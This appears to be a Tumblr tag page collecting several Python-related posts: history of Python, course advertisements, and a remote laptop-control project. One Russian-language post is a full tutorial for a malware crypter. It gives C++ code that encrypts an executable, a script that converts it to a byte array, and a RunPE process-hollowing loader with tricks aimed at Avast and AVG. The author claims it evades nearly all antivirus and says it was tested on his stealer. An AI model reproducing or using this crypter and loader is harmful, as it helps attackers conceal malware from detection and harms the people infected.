#exception handling in python 2.7
Explore tagged Tumblr posts
priyadevi0402 · 2 years ago
Text
"Python Unleashed: The Past, Present, and Future of the World's Favorite Language"     
As of 2020, Python has secured its place as one of the most favored and widely used programming languages globally. The demand for Python developers has witnessed a significant surge over the past several years, owing to its continuous enhancement with the integration of various libraries catering to specific application domains.
Tumblr media
Python, being an open-source and robust programming language, has garnered increasing popularity. Its versatility is evident as it seamlessly operates across multiple platforms, including macOS, Windows, and Linux. According to the PYPL Popularity of Programming Language Index, which analyzes Google's most searched programming language tutorials, Python has experienced the most substantial growth over the last five years, currently holding a market share of 31.47%, with Java following at 19.14%.
For the development of user-friendly and adaptable web-based applications, Python offers several frameworks. Additionally, this language is highly favored among data scientists and professionals working with technologies such as Machine Learning, AI, Data Mining, and Big Data. Notably, major platforms like Netflix, Dropbox, YouTube, Instagram, Quora, Spotify, and Reddit rely on Python to effectively manage the substantial influx of daily traffic and user requests.
Overview of Python's Version History:
Tumblr media
Python's inception dates back to the late 1980s, and it was aptly named after the BBC TV show "Monty Python's Flying Circus."
Guido van Rossum initiated the implementation of Python at CWI in the Netherlands in December 1989.
Python served as a successor to the ABC programming language, featuring capabilities such as exception handling and interfacing with the Amoeba operating system.
On October 16, 2000, Python 2.0 was released, introducing numerous new features.
Subsequently, Python 3.0 was launched on December 3, 2008.
Python's Early Development (1991-1994)
Python made its debut in 1991 when its code was initially shared on USENET.
The release of Python 1.0 in 1994 marked a significant milestone, introducing essential functional programming tools such as lambda, filter, map, and reduce.
Version 1.4 further enriched the language with the inclusion of features like keyword arguments and built-in support for complex numbers.
Progress and Community Emphasis (2000-2002)
The launch of Python 2.0 in 2000, driven by the BeOpen Python Lab Teams, aimed to foster an open and community-oriented development approach, addressing concerns about the language's reliance on its creator, Guido Van Rossum.
Python 2.0 brought substantial enhancements, including list comprehensions and a robust garbage collection system.
Python 2.2 continued to strengthen Python's object-oriented nature by unifying its types and classes into a coherent hierarchy. This phase also introduced the concept of generators.
Python 3.0 and the Path of Evolution (2008)
Python 3.0, also known as Python 3000 or Py3K, was introduced in 2008 to rectify design flaws and streamline the language's functionality.
Guided by the principle of eliminating outdated practices to prevent future duplication, Python 3.0 underwent a complete overhaul, triggering debates within the Python community.
Despite the controversy, Python 3 emerged as the future of the language. An announcement in November 2014 confirmed the support of Python 2.7 until 2020, with no subsequent release of Python 2.8.
Python's Ongoing Relevance and Adoption (Present and Future)
Python's extensive adoption by prominent organizations such as Google, NASA, and Nokia is a testament to its user-friendly syntax and support for various programming paradigms, including object-oriented and functional programming.
The language's compatibility with multiple Integrated Development Environments (IDEs) further amplifies its appeal among developers. Looking ahead, Python's creator, Van Rossum, remains optimistic about the language's continued growth and relevance.
The Superb Python Course offers a comprehensive learning experience, equipping learners with the necessary skills to become certified Python developers. It covers various aspects, including Python installation, function implementation, file operations, web frameworks like Django, and more.
Given Python's ease of learning, adaptability, robust community support, and wide-ranging applicability across various industries, it stands as the optimal choice for ACTE Technologies to provide extensive and effective training across diverse technology domains. Essentially, enrolling in a Python course at ACTE Technologies ensures an engaging and dynamic learning journey, harnessing the collective knowledge and enthusiasm of participants, thereby offering a fulfilling and enjoyable path to mastering this versatile programming language.
0 notes
andre-the-analyst · 5 years ago
Text
Python Live - 3 | Shared Libraries & Exception Handling in Python | Python Tutorial | Edureka
Python Live - 3 | Shared Libraries & Exception Handling in Python | Python Tutorial | #Edureka #Python #Datalytical
🔥Edureka Python Certification Training: https://www.edureka.co/python-programming-certification-training This Edureka Session on Shared Libraries & Exception Handling in Python will help you in understanding what are shared libraries in Python. It will also talk about what are exceptions and how they are handled in Python.
———————————————————————————————-
🔴Subscribe to our channel to get video…
View On WordPress
0 notes
learnindigitalls · 2 years ago
Text
Python
Python is a high-level, general-purpose programming language. Its design philosophy emphasizes code readability with the use of significant indentation.[33]Python is dynamically typed and garbage-collected. It supports multiple programming paradigms, including structured (particularly procedural), object-oriented and functional programming. It is often described as a “batteries included” language due to its comprehensive standard library.[34][35]Guido van Rossum began working on Python in the late 1980s as a successor to the ABC programming language and first released it in 1991 as Python 0.9.0.[36] Python 2.0 was released in 2000. Python 3.0, released in 2008, was a major revision not completely backward-compatible with earlier versions. Python 2.7.18, released in 2020, was the last release of Python 2.[37]Python consistently ranks as one of the most popular programming languages.HistoryThe designer of Python, Guido van Rossum, at OSCON 2006Main article: History of PythonPython was conceived in the late 1980s[42] by Guido van Rossum at Centrum Wiskunde & Informatica (CWI) in the Netherlands as a successor to the ABC programming language, which was inspired by SETL,[43] capable of exception handling and interfacing with the Amoeba operating system.[13] Its implementation began in December 1989.[44] Van Rossum shouldered sole responsibility for the project, as the lead developer, until 12 July 2018, when he announced his “permanent vacation” from his responsibilities as Python’s “benevolent dictator for life“, a title the Python community bestowed upon him to reflect his long-term commitment as the project’s chief decision-maker.[45] In January 2019, active Python core developers elected a five-member Steering Council to lead the project.[46][47]Python 2.0 was released on 16 October 2000, with many major new features such as list comprehensions, cycle-detecting garbage collection, reference counting, and Unicode support.[48] Python 3.0, released on 3 December 2008, with many of its major features backported to Python 2.6.x[49] and 2.7.x. Releases of Python 3 include the 2to3 utility, which automates the translation of Python 2 code to Python 3.[50]Python 2.7’s end-of-life was initially set for 2015, then postponed to 2020 out of concern that a large body of existing code could not easily be forward-ported to Python 3.[51][52] No further security patches or other improvements will be released for it.[53][54] Currently only 3.7 and later are supported. In 2021, Python 3.9.2 and 3.8.8 were expedited[55] as all versions of Python (including 2.7[56]) had security issues leading to possible remote code execution[57] and web cache poisoning.[58]In 2022, Python 3.10.4 and 3.9.12 were expedited[59] and 3.8.13, and 3.7.13, because of many security issues.[60] When Python 3.9.13 was released in May 2022, it was announced that the 3.9 series (joining the older series 3.8 and 3.7) would only receive security fixes in the future.[61] On September 7, 2022, four new releases were made due to a potential denial-of-service attack: 3.10.7, 3.9.14, 3.8.14, and 3.7.14.[62][63]As of November 2022, Python 3.11.0 is the current stable release. Notable changes from 3.10 include increased program execution speed and improved error reporting.
1 note · View note
techhelpnotes · 3 years ago
Text
Backporting Python 3 open(encoding=utf-8) to Python 2
If you only need to support Python 2.6 and 2.7 you can use io.open instead of open. io is the new io subsystem for Python 3, and it exists in Python 2,6 ans 2.7 as well. Please be aware that in Python 2.6 (as well as 3.0) its implemented purely in python and very slow, so if you need speed in reading files, its not a good option.
If you need speed, and you need to support Python 2.6 or earlier, you can use codecs.open instead. It also has an encoding parameter, and is quite similar to io.open except it handles line-endings differently.
0 notes
specialbookcollection · 4 years ago
Text
EPUB$ Learning Python [PDF  mobi  ePub]
*EPUB$ Learning Python [PDF, mobi, ePub]
Learning Python
Tumblr media
[PDF] Download Learning Python Ebook | READ ONLINE
Author : Mark Lutz Publisher : O'Reilly Media ISBN : 1449355730 Publication Date : 2013-7-6 Language : Pages : 1600
To Download or Read this book, click link below:
http://happyreadingebook.club/?book=1449355730
{Kindle}
Synopsis : *EPUB$ Learning Python [PDF, mobi, ePub]
Get a comprehensive, in-depth introduction to the core Python language with this hands-on book. Based on author Mark Lutz’s popular training course, this updated fifth edition will help you quickly write efficient, high-quality code with Python. It’s an ideal way to begin, whether you’re new to programming or a professional developer versed in other languages.Complete with quizzes, exercises, and helpful illustrations, this easy-to-follow, self-paced tutorial gets you started with both Python 2.7 and 3.3— the latest releases in the 3.X and 2.X lines—plus all other releases in common use today. You’ll also learn some advanced language features that recently have become more common in Python code.Explore Python’s major built-in object types such as numbers, lists, and dictionariesCreate and process objects with Python statements, and learn Python’s general syntax modelUse functions to avoid code redundancy and package code for reuseOrganize statements, functions, and other tools into larger components with modulesDive into classes: Python’s object-oriented programming tool for structuring codeWrite large programs with Python’s exception-handling model and development toolsLearn advanced Python tools, including decorators, descriptors, metaclasses, and Unicode processing
0 notes
ims0rry · 8 years ago
Text
Крипт NATIVE приложения средствами C++
Tumblr media
Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Материалы:
Visual Studio
Python 3.5
Python 2.7
2 руки
Пару извилин
Итак, начнем:
А начнем мы, пожалуй, с написания самой простой программки, на которой мы и будем тестировать наш крипт. (Далее - пейлоад)
Создаем проект консольного C++ приложения (x86 или win32).
Внутри прописываем:
#include <Windows.h> int main() { MessageBox(NULL, L"test", L"test", ICON_SMALL); return 0; }
Компилим, тестируем, выдается окно с надписью "test".
Откладываем этот проект и приступаем к части шифрования данных. (Далее - энкодер)
Создаем еще один такой же проект.
Далее нам нужно набросать примерный алгоритм шифрования байтов.
Я сильно заморачиваться не буду и просто напишу вычитание из оригинала 0х11.
Для начала узнаем размер считываемого файла:
FILE * file = fopen("in.exe", "rb"); if (file == NULL) return 0; fseek(file, 0, SEEK_END); long int size = ftell(file); fclose(file);
Далее считываем байты в массив и шифруем их:
file = fopen("in.exe", "rb"); unsigned char * in = (unsigned char *)malloc(size); int bytes_read = fread(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in[i] = in[i] - 0x11; }
Выплевываем зашифрованный файл:
file = fopen("out.exe", "wb"); int bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file);
И сразу дешифруем его таким же методом чтоб убедиться, что он остается рабочим:
for (int i = 0; i < size; i++) { in[i] = in[i] + 0x11; } file = fopen("decr.exe", "wb"); bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file);
Компилируем проект, пропускаем пейлоад через энкодер и видим на выходе 2 файла: out.exe иdecr.exe. Пробуем запустить decr.exe - если вылезает окошк�� "test", значит все хорошо.
Далее, нам нужно получить массив байт из зашифрованного файла, чтоб в дальнейшем вставить этот массив в криптор.
Для этого пишем простенький скрипт на Python 2.7 и прогоняем через него наш файл out.exe:
import os, binascii target = "out.exe" output_file = "file.txt" bytes_per_line = 16 try: count = 0; index = 0; output = "unsigned char rawData[] = {\n\t" with open(target, "rb") as f: hexdata = binascii.hexlify(f.read()) hexlist = map(''.join, zip(*[iter(hexdata)]*2)) for hex in hexlist: if count >= bytes_per_line: output += "\n\t" count = 0; output += "0x" + str(hexlist[index]).upper() + "," count += 1; index += 1; output += "\n};\n" out = open(output_file, "w") out.write(output) out.close() except: pass
Создался файл file.txt, сохраняем его и приступаем к следующему шагу.
Теперь самая важная часть криптора - собственно, сам криптор.
Создаем проект приложения win32 и вставляем наш массив из файла file.txt перед методом main(). 
Сразу прописываем хедеры к этому файлу:
#include <windows.h> #include <winternl.h> #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ntdll.lib")
И функцию RunPE:
int RunPortableExecutable(void* Image) { IMAGE_DOS_HEADER* DOSHeader; IMAGE_NT_HEADERS* NtHeader; IMAGE_SECTION_HEADER* SectionHeader; PROCESS_INFORMATION PI; STARTUPINFOA SI; CONTEXT* CTX; DWORD* ImageBase; void* pImageBase; int count; char buffer[MAX_PATH]; GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH); char *CurrentFilePath = buffer; DOSHeader = PIMAGE_DOS_HEADER(Image); NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); if (NtHeader->Signature == IMAGE_NT_SIGNATURE) { ZeroMemory(&PI, sizeof(PI)); ZeroMemory(&SI, sizeof(SI)); typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); NtUnmapViewOfSection mNtUnmapViewOfSection; if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) { SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); } WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread); return 0; } } } }
Далее в методе main() нам необходимо расшифровать массив байт и запустить его, перезаписав память собственного процесса:
for (int i = 0; i < 550000; i++) OutputDebugStringW(L""); //Код для заглота Avast & AVG for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) { unsigned char b = rawData[i] + 0x11; rawData[i] = b; } Sleep(((rand() % 5 + 1) + 2) * 1000); //Рандомная задержка RunPortableExecutable(rawData); delete[] rawData;
Иии, собственно все, криптор готов. Единственный момент - после компиляции проекта криптора, на файле будет иконка. Уберите ее, а то словите очень много GEN детектов. Таким методом обходится не только Scantime, но и Runtime. Это я протестировал лично на своем стиллере. Как результат - полный обход всех популярных антивирусов, кроме Avira.
Scantime - http://viruscheckmate.com/id/2cO3PRtR2r8x
Runtime -https://run4me.net/result/1db6493fd0fc5c2fba2ea6a4f1a8a20594c37754c21bb1fe4fed7aaad68d63d6
3 notes · View notes
arshamali · 5 years ago
Photo
Tumblr media
Control Your Laptop with an Android Phone using Python, Twisted, and Django
Introduction
It is pretty enjoyable to put forth your Android or Python programming abilities. Recently, I just got an idea to use my laptop with my Android phone. Just Think: the remote laptop access will allow you to stop and play music, manage programming tasks or downloads, and so forth. You can do this by directly sending messages from your Android device. Nice, isn’t it?
Before you start reading this post, you must remember that it is a pet project, in its starting levels—yet the main platform is present. By using some conventional tools and techniques, I was proficient to setup my phone to manage laptop using Python mediator.
However: it is an open-source project. You can have a look at the server and client codes.
Tool Belt of Remote Laptop Access: Twisted, Python, Amarok and Django
There are diverse technologies involved in this project. You might be familiar with some; some technologies are particular to the project at hand:
Twisted: An exceptional project-driven structure particularly designed for the network hackers.
Python 2.7.
Amarok: It is a D-BUS controllable media player. You can select any other media player like VLC and Clementine that support MPRIS, if you are familiar with their messaging settings. I have selected Amarok because it came up with KDE distribution. Moreover, it’s configuration is easy and quick.
Django: I have used v1.4. Thus, you will need to change the place of some files if you have to run a previous version.
It is imperative to install Python For Android in your phone. The installation method is simple-also for Py3k.
Remote Amarok Web
Remote Amarok
At The High Level
At the high level, we will consider the laptop to be the server and Android phone, the client. I will explain the architecture of remote access in detail, yet the main project flow is mentioned below:
1.      The user will type a command into the mediator of Python.
2.      The command will be sent to Django.
3.      Now, Django will pass this command to Twisted.
4.      Twisted will analyze the command and then send a new one through D-Bus.
5.      D-Bus will then send the command to Amarok.
6.      Amarok will interact with the laptop, managing the pause/play of music.
We are going to explain it more.
Python For Android
One day, I had a glance at the mediators of Python that I could install and use on my phone (Droid 2). Shortly, I learned about the amazing SL4A package that was able to bring Python to life on the Android phone. It is a smart package to choose: you will need to click some buttons, and then you will almost get a Python environment on your Android device. This device can now run the Python code properly and access the Android API (I said almost because some things are still missing and the Android API is not readily available, yet for several use-cases, it is good enough).
If you want, you can develop Python distribution of your own to run on your phone. With its help, you can easily run any version of the mediator of your choice. In this method, you have to perform cross-compiling Python to run on ARM (the structure employed on Android devices). It is a bit tough, yet it is workable.
After setting up your mediator, you can do anything by linking Python to the Android API, comprising remote laptop controlling. For instance, you can:
•         Play/Pause videos and music
•         Set the ringtone of your choice
•         Read and send SMS.
•         Show the intuitive design
•         Check out the spinning dialogs and prompts.
•         Interconnect with third-party APIs across the web through urllib and diverse other libraries.
•         Interconnect with Bluetooth – It has to offer many opportunities. Like, I once used a lock-unlock app on my Android phone to control my laptop. (For example, locking up my laptop through Bluetooth when my Android device was close).
How Your Android Phone Controls Your Laptop?
The Framework
The composition of our project is below:
•         The client-side app developed on Twisted in case you need to check the server code devoid of running the Django app.
•         The server-side app designed on Django, which can read the commands from Android phone and then passes them to Twisted. As seen, Amarok is one particular application for a laptop that the server can interconnect with (specifically, to control videos and music). However, it is a full proof concept because the platform is adaptable.
•         The server-side app designed on Twisted “instance” which connects with the media player of the laptop through D-Bus, passing the commands when they come up from Django (presently, I prefer ‘mute’, ‘stop’, ‘pause’, ‘play’, ‘previous’, ‘next’). Why don’t you directly send messages from Django to Amarok? The non-blocking and project-driven features of Twisted can handle the big tasks.
Twisted is project-driven, exceptional, and adaptable. It contains deferred items, the callback system, and other methods to operate. I would recommend that you check it out: the amount of work that you will escape by making use of Twisted will be remarkable. For instance, it can assist boilerplate code for diverse protocols which incorporates HTTP, IRC, SSH, and so forth, devoid of dealing with the non-blocking tools like threads.
•         The Android code on client-side, transferred to your phone with the personalized URL to reach your app of Django. It is imperative to mention that this code specifically runs on Python 2.7+, which includes Py3k.
What is D-Bus?
I have mentioned D-Bus at diverse places, yet the time has come to explain it more. In general, D-Bus is a bus system which is used to send and receive messages. It allows the apps to communicate with one another (for example, on the Android phone and laptop) simply via designed messages.  
It contains two buses: the session bus that is used for the user-side things while the system bus for the system-side things. The special messages send to the system bus are like “Hello, I have connected a new printer, inform my D-Bus allowed apps that the new printed is online”, while the session bus will handle the standard IPC (Inter-Process Communication) between the apps.
In this project, we have used the session bus to interact with Amarok. It is one of those modern apps (among Linux environments, no less than) that assist this sort of messaging. The functions and commands its processes are well-organized. Any app with the support of D-Bus is easy to control and manage under this framework; there are limitless probabilities.
Background:
After setting up the framework, you can open the Android app and it will take you to the infinite loop from where you can read received messages, go for certain checks to process them, if usable, send them to the pre-mentioned URL (in other words, the Django application URL), which will operate the input. After that, the client of Android marks up the messages as read. The loop starts again till the message with the accurate details “exit-client” (fabulous, isn’t it?) is operated, in which the client exits.
On the server, the Django app chooses the command to be executed. It also analyzes if the command starts with valid instruction or not. If it does, it links to the server of Twisted (making use of the Telnetlib to link through telnet) and passes the command. In the end, the Twisted analyzes the input, modifies it into somewhat appropriate for Amarok. Allow Amarok to handle the rest! Lastly, your laptop will start responding to the send commands like pausing/playing music or videos.
When it comes to the “predefined URL”: if you need to control your laptop from a distant place, you will have to use a public URL. It is reachable across the web. Ensure that, presently, the code does not implement any security layer like SSL – similar advancements are practices for the person who reads, for now.
What Else Can You Do With This?
Till now, everything seems to be easy and straightforward, isn’t it? You may think: “Can it easily support the smart feature [X]?” Well, the answer to this question is: Yes! Nevertheless, you should have the know-how to interact with your laptop by using your Android phone. If you know, then you can easily add the code on server-side to do anything you want.
Before you get the know-how, you need to go through lengthy methods on your laptop remotely. Or else, if you have to capacity to match up with the technology, you can develop an interface amid your favorite electronic appliance and your laptop, managing it through SMS commands (“Make tea for me!” strikes instantly).  
What’s More
For now, I am going to play on with my new Android laptop controller, work on its features, fix up some bugs, and so forth. In case you are interested, I will be there for you to help! Just follow the instructions and email me at _________if you have questions.
0 notes
Text
python
WHAT IS PYTHON? Python is an interpreted, high-level, general-purpose programming language and a open source software. It emphasizes code readability, notably using significant whitespace. It provides constructs that change clear programming on each tiny and huge scales .Python options a dynamic sort system and automatic memory management. It supports multiple programming paradigms, together with object-oriented, imperative, practical and procedural.
HISTORY OF PYTHON: Python was formed within the late Nineteen Eighties by Guido van Rossum at bone Wiskunde & Informatica (CWI) within the Netherland as a successor to the first principal language (itself impressed by SETL), capable of exception handling and interfacing with the rhizopod software package. Its implementation began in Dec 1989 . Python 2.0 was discharged on sixteen october 2000 with several major new options, together with, a cycle-detecting Garbage man and support for Unicode. Python 3.0 was released on 3 December 2008. It was a serious revision of the language that’s not utterly backward-compatible. Many of its major options were backported to Python a pair of 6.x and 2.7.x version series. Releases of Python 3 include the 2to3 utility, which automates (at least partially) the translation of Python 2 code to Python 3. Python 2.7's end-of-life date was at the start set at 2015 then deferred to 2020 out of concern that an Outsized body of existing code couldn’t simply be forward-ported to Python three. In january 2017, Google proclaimed work on a Python a Pair of 7 .
MAJOR IMPLEMENTATION ON PYTHON: CPython, IronPython, Jython, MicroPython, Numba, PyPy, Stackless Python, CircuitPython.
SYNTAX AND SEMATICS: Python is supposed to be associative degree simply language. Its information is visually tidy, and it usually uses English keywords wherever alternative languages use punctuation. Unlike several alternative languages, it doesn’t use crisp brackets to delimit blocks, and semicolons with statements It has fewer syntactical exceptions and special cases than C or Pascal. INFLUENCED BY: ABC, ALGOL 68, APL C, C++, CLU, Dylan, Haskell, Icon, Java, Lisp, Modula-3, Perl, Standard ML.
HOW IS PYTHON USED IN CYBER SECURITY? Programming has become essential to cyber security. IT security skilled should expeditiously write applications and scripts; typically on short notice. The Python language provides unmatched ease, flexibility, and practicality for each new and intimate coders. It has emerged as a high alternative for cyber security professionals as result of it lessens development effort and also the coder’s learning curve. Hackers, penetration testers, and alternative security specialists want a language library that gives the whole spectrum of options to make powerful and infrequently novel programs. Python comes with modules to support net activities like parsing protocol and XML and building purchasers. Python’s easy and clean structure, standard style , and intensive library create it ideal for security applications. Cyber consultants believe the aptitude to quickly code programs and therefore the feature set to implement new methods and techniques. No different language offers as powerful a mixture, and Python stands because the must-know language for the intense security skilled. Its because, python could be a terribly simple language and it provides heap of incrueants to its user to impliment their code in terribly prescribed manner. For registration and for learning of courses on advance python/python using on cyber security you can go to this website:http://fourstepsolutions.com/technical-trainings/python-training-in-chennai/
Tumblr media
0 notes
rafi1228 · 5 years ago
Link
Dive in deep to the core concepts behind the power Django framework written in Python. Using Django 1.10 with Python 3
What you’ll learn
Django Models
Model Instance Methods & Properties
Model-level field validation
Django Forms and Formsets
Form validation
Model Form
Function Based Views (FBVs)
Class Based Views (CBVs)
CRUD in Django Views (Create Retrieve Update Delete List)
Django Templates
Django translation
Deploying Django on a Live Server| Heroku, Webfaction, Linode, Digital Ocean
Celery + Redis for asynchronous tasks and scheduled tasks
and much more!
Requirements are Python 2.7 or 3.3 and Django 1.8 & up
We use Python 3 and Django 1.10 in this one
Requirements
Try Django 1.8 & Up (suggested course is Try Django 1.9 as it has Try Django 1.8 too)
Python knowledge is a plus (30 Days of Python is a suggested course)
Description
Our philosophy is teaching individuals how to code by going through step by step projects. This drives the majority of our content with one exception: the Django Core course.
In this course, we go in-depth into various Django concepts to provide a comprehensive guide to topics that include:
Django Models
Model Instance Methods & Properties
Model-level field validation
How models map to databases and Primary Keys
Django Forms and Formsets
Relating Data with Foreign Keys in Django
Handling Subdomains with Django Hosts
Form validation
Model Form
Function Based Views (FBVs)
Class Based Views (CBVs)
CRUD in Django Views (Create Retrieve Update Delete List)
Django Templates
Template Inheritance
Template shortcuts & Filters
Django translation
and much more!
We built this for students looking for a in-depth look at the above concepts. We encourage you to have some experience with Django such as our Try Django series (1.8 & Up) which is available on Udemy.
Who this course is for:
Requirements are Python 2.7 or 3.3 and Django 1.8 & up
We use Python 3 and Django 1.10 in this one
Anyone looking to learn more about Django
Any student looking to build robust cutting edge web applications
Python Users
Django beginners with some experience, like doing our Try Django (1.8 & up Series)
Created by Justin Mitchel Last updated 1/2017 English English [Auto-generated]
Size: 3.36 GB
   Download Now
https://ift.tt/2oAfMET.
The post Django Core | A Reference Guide to Core Django Concepts appeared first on Free Course Lab.
0 notes
timobook · 7 years ago
Text
Programming ArcGIS 10.1 with Python Cookbook
Programming ArcGIS 10.1 with Python Cookbook: Over 75 recipes to help you automate geoprocessing tasks, create solutions, and solve problems for ArcGIS with Python Download Introduction ArcGIS is an industry-standard geographic information system from ESRI. This book will show you how to use the Python programming language to create geoprocessing scripts, tools, and shortcuts for the ArcGIS Desktop environment. This book will make you a more effective and efficient GIS professional, by showing you how to use the Python programming language with ArcGIS Desktop to automate geoprocessing tasks, manage map documents and layers, find and fix broken data links, edit data in feature classes and tables, and much more. Programming ArcGIS 10.1 with Python Cookbook starts by covering fundamental Python programming concepts in an ArcGIS Desktop context. Using a how-to instruction style, you'll then learn how to use Python to automate common important ArcGIS geoprocessing tasks. In this book, you will also cover specific ArcGIS scripting topics that will help save you time and effort when working with ArcGIS. Topics include managing map document files, automating map production and printing, finding and fixing broken data sources, creating custom geoprocessing tools, and working with feature classes and tables, among others. In Programming ArcGIS 10.1 with Python Cookbook, you'll learn how to write geoprocessing scripts using a pragmatic approach designed around accomplishing specific tasks in a cookbook style format. What this book covers Chapter 1, Fundamentals of the Python Language for ArcGIS, will cover many of the basic language constructs found in Python. Initially, you'll learn how to create new Python scripts or edit existing scripts. From there, you'll get into language features, such as adding comments to your code, variables, and the built-in typing systems that makes coding with Python easy and compact. Furthermore, we'll look at the various built-in data-types that Python offers, such as strings, numbers, lists, and dictionaries. In addition to this, we'll cover statements, including decision support and looping structures for making decisions in your code and/or looping through a code block multiple times. Chapter 2, Writing Basic Geoprocessing Scripts with ArcPy, will teach the basic concepts of the ArcPy Python site package for ArcGIS, including an overview of the basic modules, functions, and classes. The reader will be able write a geoprocessing script using ArcPy with Python. Chapter 3, Managing Map Documents and Layers, will use the Arcpy Mapping module to manage map document and layer files. You will learn how to add and remove geographic layers from map document files, insert layers into data frames, and move layers around within the map document. The reader will also learn how to update layer properties and symbology. Chapter 4, Finding and Fixing Broken Data Links, will teach how to generate a list of broken data sources in a map document file and apply various Arcpy Mapping functions to fix these data sources. The reader will learn how to automate the process of fixing data sources across many map documents. Chapter 5, Automating Map Production and Printing, will teach how to automate the process of creating production-quality maps. These maps can then be printed, exported to image file formats, or exported to PDF files for inclusion in map books. Chapter 6, Executing Geoprocessing Tools from Scripts, will teach how to write scripts that access and run geoprocessing tools provided by ArcGIS. Chapter 7, Creating Custom Geoprocessing Tools, will teach how to create custom geoprocessing tools that can be added to ArcGIS and shared with other users. Custom geoprocessing tools are attached to a Python script that process or analyze geographic data in some way. Chapter 8, Querying and Selecting Data, will teach how to execute the Select by Attribute and Select by Location geoprocessing tools from a script to select features and records. The reader will learn how to construct queries that supply an optional where clause for the Select by Attribute tool. The use of feature layers and table views as temporary datasets will also be covered. Chapter 9, Using the ArcPy Data Access Module to Select, Insert, and Update Geographic Data and Tables, will teach how to create geoprocessing scripts that select, insert, or update data from geographic data layers and tables. With the new ArcGIS 10.1 Data Access module, geoprocessing scripts can create in-memory tables of data, called cursors, from feature classes and tables. The reader will learn how to create various types of cursors including search, insert, and update Chapter 10, Listing and Describing GIS Data, will teach how to obtain descriptive information about geographic datasets through the use of the Arcpy Describe function. As the first step in a multi-step process, geoprocessing scripts frequently require that a list of geographic data be generated followed by various geoprocessing operations that can be run against these datasets. Chapter 11, Customizing the ArcGIS Interface with Add-Ins, will teach how to customize the ArcGIS interface through the creation of Python add-ins. Add-ins provide a way of adding user interface items to ArcGIS Desktop through a modular code base designed to perform specific actions. Interface components can include buttons, tools, toolbars, menus, combo boxes, tool palettes, and application extensions. Add-ins are created using Python scripts and an XML file that define how the user interface should appear. Chapter 12, Error Handling and Troubleshooting, will teach how to gracefully handle errors and exceptions as they occur while a geoprocessing script is executing. Arcpy and Python errors can be trapped with the Python try/except structure and handled accordingly. Appendix A, Automating Python Scripts, will teach how to schedule geoprocessing scripts to run at a prescribed time. Many geoprocessing scripts take a long time to fully execute and need to be scheduled to run during non-working hours on a regular basis. The reader will learn how to create batch file containing geoprocessing scripts and execute these at a prescribed time. Appendix B, Five Things Every GIS Programmer Should Know How to Do with Python, will teach how to write scripts that perform various general purpose tasks with Python. Tasks, such as reading and writing delimited text files, sending e-mails, interacting with FTP servers, creating ZIP files, and reading and writing JSON and XML files are common. Every GIS programmer should know how to write Python scripts that incorporate this functionality What you need for this book To complete the exercises in this book, you will need to have installed ArcGIS Desktop 10.1 at either the Basic, Standard, or Advanced license level. Installing ArcGIS Desktop 10.1 will also install Python 2.7 along with the IDLE Python code editor. Who this book is for Programming ArcGIS 10.1 with Python Cookbook is written for GIS professionals who wish to revolutionize their ArcGIS workflow with Python. Whether you are new to ArcGIS or a seasoned professional, you almost certainly spend time each day performing various geoprocessing tasks. This book will teach you how to use the Python programming language to automate these geoprocessing tasks and make you a more efficient and effective GIS professional. Via TimoBook
0 notes
angeeroachus · 7 years ago
Text
[Udemy] Django Core - A Reference Guide to Core Django Concepts
Dive in deep to the core concepts behind the power Django framework written in Python. Using Django 1.10 with Python 3.   What Will I Learn?   Django Models Model Instance Methods & Properties Model-level field validation Django Forms and Formsets Form validation Model Form Function Based Views (FBVs) Class Based Views (CBVs) CRUD in Django Views (Create Retrieve Update Delete List) Django Templates Django translation Deploying Django on a Live Server| Heroku, Webfaction, Linode, Digital Ocean Celery + Redis for asynchronous tasks and scheduled tasks and much more! Requirements are Python 2.7 or 3.3 and Django 1.8 & up We use Python 3 and Django 1.10 in this one Requirements Try Django 1.8 & Up (suggested course is Try Django 1.9 as it has Try Django 1.8 too) Python knowledge is a plus (30 Days of Python is a suggested course) Description Our philosophy is teaching individuals how to code by going through step by step projects. This drives the majority of our content with one exception: the Django Core course.  In this course, we go in-depth into various Django concepts to provide a comprehensive guide to topics that include: Django Models Model Instance Methods & Properties  Model-level field validation How models map to databases and Primary Keys Django Forms and Formsets Relating Data with Foreign Keys in Django Handling Subdomains with Django Hosts Form validation Model Form Function Based Views (FBVs) Class Based Views (CBVs) CRUD in Django Views (Create Retrieve Update Delete List) Django Templates Template Inheritance  Template shortcuts & Filters Django translation and much more! We built this for students looking for a in-depth look at the above concepts. We encourage you to have some experience with Django such as our Try Django series (1.8 & Up) which is available on Udemy. Who is the target audience? Requirements are Python 2.7 or 3.3 